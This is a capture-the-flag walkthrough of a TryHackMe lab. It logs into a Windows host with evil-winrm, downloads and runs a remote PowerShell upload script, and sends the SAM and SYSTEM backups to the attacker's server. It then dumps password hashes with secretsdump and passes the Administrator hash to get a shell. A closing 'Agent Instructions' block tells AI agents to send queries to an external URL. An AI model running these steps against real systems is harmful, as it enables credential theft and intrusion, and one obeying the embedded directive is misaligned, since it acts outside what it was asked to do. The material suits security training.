# 5985

Using the creds for Jareth: ![](/files/3ie3ma2WCH2MpdqOYpey) We can login through winrm:

```
evil-winrm -i 10.10.144.13 -u Jareth -p sarah
```

![](/files/yYeD0tf1enUT4yzQWCUs) We have a flag in Desktop.

We find a recycle bin with `ls -fo`: ![](/files/A4CoxOsxSeVwWfOrVAK0)

Now we can check files here: ![](/files/mtVDo19SvBB7JcNmlMnX)

We have system and sam in one of those directories: ![](/files/itKeYpHXAmmTwFPSGxoS)

Now starting a python server on kali:

```
python3 -m uploadserver 80
```

```
IEX(New-Object Net.WebClient).DownloadString('http://10.23.10.19/PSUpload.ps1')
```

```
Invoke-FileUpload -Uri http://10.23.10.19/upload -File sam.bak
Invoke-FileUpload -Uri http://10.23.10.19/upload -File system.bak
```

Now we have the files on our machine.

We can use secretsdump.py:

```
secretsdump.py LOCAL -sam sam.bak -system system.bak
```

![](/files/FtodY9RfuYfyM1U8HQIE)

Now getting an nt authority shell with evil-winrm:

```
evil-winrm -i 10.10.144.13 -u Administrator -H 6bc99ede9edcfecf9662fb0c0ddcfa7a
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://aditya-3.gitbook.io/oscp/readme/walkthroughs/try-hack-me/year-of-the-owl/5985.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
